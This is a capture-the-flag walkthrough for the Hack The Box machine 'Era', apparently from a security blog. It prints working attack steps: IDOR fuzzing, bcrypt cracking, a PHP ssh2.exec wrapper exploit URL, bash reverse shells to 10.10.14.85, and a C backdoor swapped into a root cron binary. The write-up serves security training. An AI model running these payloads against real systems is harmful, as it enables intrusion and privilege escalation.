Skip to main content
HTB Era
  1. Posts/

HTB Era

Table of Contents

Machine Information
#

  • Name: Era
  • Difficulty: Medium
  • OS: Linux (Ubuntu)
  • IP: 10.10.11.79

Enumeration
#

Nmap Scan
#

1
nmap -A -sV -sC 10.10.11.79 -T4
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-10 21:50 EAT
Nmap scan report for era.htb (10.10.11.79)
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Era Designs
Device type: general purpose|router
Running: Linux 4.X|5.X
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Open Ports:

  • 21/tcp - vsftpd 3.0.5
  • 80/tcp - nginx 1.18.0 (redirects to era.htb)

Added to /etc/hosts:

1
echo "10.10.11.79 era.htb" | sudo tee -a /etc/hosts

Subdomain Enumeration
#

1
2
3
4
ffuf -w /usr/share/amass/wordlists/bitquark_subdomains_top100K.txt \
     -H "Host:FUZZ.era.htb" \
     -u http://era.htb/ \
     -mc 200
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb/
 :: Wordlist         : FUZZ: /usr/share/amass/wordlists/bitquark_subdomains_top100K.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 249ms]

Discovered: file.era.htb

1
echo "10.10.11.79 file.era.htb" | sudo tee -a /etc/hosts

Initial Access
#

File Management Application
#

Visiting file.era.htb revealed a file management system with the following features:

  • Manage Files
  • Upload Files
  • Update Security Questions
  • Sign In/Sign Out

Registered new account: 7r00t@gmail.com with random password.

After login, obtained session ID: PHPSESSID=dhub8g1c45omlre0duqb9vugjf

IDOR Vulnerability
#

Created wordlist and fuzzed the download endpoint:

1
2
3
4
5
seq 0 100 > id.txt
ffuf -u "http://file.era.htb/download.php?id=FUZZ" \
     -w id.txt \
     -mc 200 \
     -H "Cookie: PHPSESSID=dhub8g1c45omlre0duqb9vugjf"
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
________________________________________________

 :: Method           : GET
 :: URL              : http://file.era.htb/download.php?id=FUZZ
 :: Wordlist         : FUZZ: /home/test/HTB/Era/id.txt
 :: Header           : Cookie: PHPSESSID=dhub8g1c45omlre0duqb9vugjf
 :: Matcher          : Response status: 200
________________________________________________

0                       [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 280ms]
1                       [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 275ms]
2                       [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 271ms]
...
54                      [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 249ms]
...
100                     [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 248ms]

Key Finding: ID 54 has different response size (6378 bytes vs 7686 bytes) - indicates actual file content.

Backup Discovery
#

1
2
3
4
5
curl "http://file.era.htb/download.php?id=54" \
     -H "Cookie: PHPSESSID=dhub8g1c45omlre0duqb9vugjf" \
     -o downloaded_file

file downloaded_file
1
downloaded_file: HTML document, ASCII text

Viewing the HTML showed:

1
2
3
<h1>Your Download Is Ready!</h1>
<p>site-backup-30-08-24.zip</p>
<div><a href="download.php?id=54&dl=true"><i class="fa fa-download fa-5x"></i></a></div>

Downloaded the actual file:

1
2
3
4
5
curl "http://file.era.htb/download.php?id=54&dl=true" \
     -H "Cookie: PHPSESSID=dhub8g1c45omlre0duqb9vugjf" \
     -o site-backup-30-08-24.zip

unzip site-backup-30-08-24.zip
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
Archive:  site-backup-30-08-24.zip
  inflating: LICENSE                 
  inflating: bg.jpg                  
   creating: css/
  inflating: css/main.css.save       
  inflating: css/main.css            
  inflating: css/fontawesome-all.min.css  
  inflating: css/noscript.css        
   creating: css/images/
 extracting: css/images/overlay.png  
  inflating: download.php            
  inflating: filedb.sqlite           
   creating: files/
  inflating: files/.htaccess         
 extracting: files/index.php         
  inflating: functions.global.php    
  inflating: index.php               
  inflating: initial_layout.php      
  inflating: layout.php              
  inflating: layout_login.php        
  inflating: login.php               
  inflating: logout.php              
  inflating: main.png                
  inflating: manage.php              
  inflating: register.php            
  inflating: reset.php               
   creating: sass/
   creating: sass/layout/
  inflating: sass/layout/_wrapper.scss  
  inflating: sass/layout/_footer.scss  
  inflating: sass/layout/_main.scss  
  inflating: sass/main.scss          
   creating: sass/base/
  inflating: sass/base/_page.scss    
  inflating: sass/base/_reset.scss   
  inflating: sass/base/_typography.scss  
   creating: sass/libs/
  inflating: sass/libs/_vars.scss    
  inflating: sass/libs/_vendor.scss  
  inflating: sass/libs/_functions.scss  
  inflating: sass/libs/_mixins.scss  
  inflating: sass/libs/_breakpoints.scss  
  inflating: sass/noscript.scss      
   creating: sass/components/
  inflating: sass/components/_actions.scss  
  inflating: sass/components/_icons.scss  
  inflating: sass/components/_button.scss  
  inflating: sass/components/_icon.scss  
  inflating: sass/components/_list.scss  
  inflating: sass/components/_form.scss  
  inflating: screen-download.png     
  inflating: screen-login.png        
  inflating: screen-main.png         
  inflating: screen-manage.png       
  inflating: screen-upload.png       
  inflating: security_login.php      
  inflating: upload.php              
   creating: webfonts/
  inflating: webfonts/fa-solid-900.eot  
  inflating: webfonts/fa-regular-400.ttf  
  inflating: webfonts/fa-regular-400.woff  
  inflating: webfonts/fa-solid-900.svg  
  inflating: webfonts/fa-solid-900.ttf  
  inflating: webfonts/fa-solid-900.woff  
  inflating: webfonts/fa-brands-400.ttf  
 extracting: webfonts/fa-regular-400.woff2  
  inflating: webfonts/fa-solid-900.woff2  
  inflating: webfonts/fa-regular-400.eot  
  inflating: webfonts/fa-regular-400.svg  
  inflating: webfonts/fa-brands-400.woff2  
  inflating: webfonts/fa-brands-400.woff  
  inflating: webfonts/fa-brands-400.eot  
  inflating: webfonts/fa-brands-400.svg

Credential Extraction
#

Database Analysis
#

1
sqlite3 filedb.sqlite
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
sqlite> .tables
files  users

sqlite> SELECT user_name, user_password FROM users;
admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC

Password Cracking
#

Extracted hashes and cracked with Hashcat:

1
2
cut -d '|' -f2 hashes.txt > bcrypt_only.txt
hashcat -m 3200 bcrypt_only.txt /usr/share/wordlists/rockyou.txt -w 3 -d 1
1
2
3
4
5
6
7
8
9
hashcat (v6.2.6) starting

Hashes: 6 digests; 6 unique digests, 6 unique salts
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385

$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang

Cracked Credentials:

  • eric:america
  • yuri:mustang

Admin Access
#

FTP Verification
#

1
2
3
4
ftp 10.10.11.79
# Username: yuri
# Password: mustang
# Login successful - found php8.1_conf directory with ssh2.so extension

Security Question Bypass
#

The backup included security_login.php which allows login via security questions.

  1. Logged in with yuri:mustang
  2. Used “Update Security Questions” feature to modify admin’s security answers
  3. Accessed security_login.php with known answers
  4. Successfully logged in as admin_ef01cab31aa

Remote Code Execution
#

Vulnerable Download Endpoint
#

Analyzed download.php from backup - key vulnerable code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
    $format = isset($_GET['format']) ? $_GET['format'] : '';
    $file = $fetched[0];

    if (strpos($format, '://') !== false) {
        $wrapper = $format;
        header('Content-Type: application/octet-stream');
    }

    try {
        $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
        $full_path = $wrapper ? $wrapper . $file : $file;
        echo "Opening: " . $full_path . "\n";
        echo $file_content;
    }
}

Admin users can use PHP stream wrappers via the format= parameter with show=true.

SSH2 Wrapper Exploitation
#

With FTP access confirmed ssh2.so extension is loaded, enabling ssh2.exec:// wrapper for command execution.

Base64 payload creation:

1
echo -n '(bash >& /dev/tcp/10.10.14.85/4444 0>&1) &' | base64
1
KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuODUvNDQ0NCAwPiYxKSAm

Start listener:

1
nc -lvnp 4444
1
listening on [any] 4444 ...

Exploit URL (visit while logged in as admin):

1
http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%27printf%20KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuODUvNDQ0NCAwPiYxKSAm|base64%20-d|bash%27;

Shell received:

1
connect to [10.10.14.85] from (UNKNOWN) [10.10.11.79] 34408

Shell upgrade:

1
2
3
4
export TERM=xterm
export SHELL=bash
export HISTFILE=/dev/null
python3 -c 'import pty;pty.spawn("/bin/bash")'
1
2
3
4
5
eric@era:~$ ls
user.txt

eric@era:~$ cat user.txt
701cb*******

Privilege Escalation
#

Writable Binary Discovery
#

1
2
3
4
5
6
7
8
9
eric@era:~$ find / -group devs -writable 2>/dev/null
/opt/AV/periodic-checks/monitor

eric@era:~$ ls -la /opt/AV/periodic-checks/
total 24
drwxrwx--- 2 root devs  4096 Dec 10 20:33 .
drwxr-xr-x 3 root root  4096 Aug 30 10:15 ..
-rwxrw---- 1 root devs  6144 Dec 10 20:33 monitor
-rw-rw---- 1 root devs     0 Dec 10 20:33 status.log

The monitor binary is group-writable and executed by root via cron with .text_sig section integrity checking.

Binary Replacement Attack
#

Create malicious binary:

1
2
3
4
5
6
7
8
9
cat > 7.c << 'EOF'
#include <stdlib.h>
int main() {
    system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.85/4444 0>&1'");
    return 0;
}
EOF

cat 7.c
1
2
3
4
5
#include <stdlib.h>
int main() {
    system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.85/4444 0>&1'");
    return 0;
}

Compile statically and preserve signature:

1
2
3
4
gcc -static 7.c -o backdoor
objcopy --dump-section .text_sig=text_sig /opt/AV/periodic-checks/monitor
objcopy --add-section .text_sig=text_sig backdoor
cp backdoor monitor

Verify replacement:

1
ls -la monitor
1
-rwxrw---- 1 root devs 915128 Dec 10 20:33 monitor

Root Shell
#

Start listener:

1
nc -lvnp 4444
1
listening on [any] 4444 ...

Wait for cron execution (typically 1-2 minutes):

1
2
3
connect to [10.10.14.85] from (UNKNOWN) [10.10.11.79] 39454
bash: cannot set terminal process group (4544): Inappropriate ioctl for device
bash: no job control in this shell
1
2
3
4
5
6
7
8
root@era:~# id
uid=0(root) gid=0(root) groups=0(root)

root@era:~# ls /root
answers.sh  clean_monitor.sh  initiate_monitoring.sh  monitor  root.txt  text_sig_section.bin

root@era:~# cat /root/root.txt
d009d*******

Attack Chain
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1. Reconnaissance
   โ””โ”€> Subdomain Enumeration
       โ””โ”€> Discovered `file.era.htb`

2. Initial Access
   โ””โ”€> IDOR in `download.php`
       โ””โ”€> Download source code backup
           โ””โ”€> Extract `filedb.sqlite` containing hashes

3. lateral Movement
   โ””โ”€> Crack Passwords
       โ””โ”€> `eric:america` & `yuri:mustang`
           โ””โ”€> Bypass Security Questions to become Admin

4. Remote Code Execution
   โ””โ”€> PHP Stream Wrapper Injection
       โ””โ”€> `ssh2.exec://` wrapper with FTP access
           โ””โ”€> Execute Reverse Shell

5. Privilege Escalation
   โ””โ”€> Weak File Permissions
       โ””โ”€> `monitor` binary writable by `devs` group
           โ””โ”€> Running as root via Cron
               โ””โ”€> Binary Replacement (Preserving Signature)
                   โ””โ”€> Root Shell

Flags:

  • User: 701cb*******
  • Root: d009d*******

Tools: nmap, ffuf, sqlite3, hashcat, objcopy, gcc, netcat

I hope this was helpful
Posted:
Time since posted: calculating...
System.Motivation.Load()
Reply by Email
Adonijah Kiplimo
Author
Adonijah Kiplimo
Cybersecurity professional specializing in Network & Cloud Security, Digital Forensics, and Penetration Testing. Passionate about sharing knowledge and empowering others through hands-on security training.

Related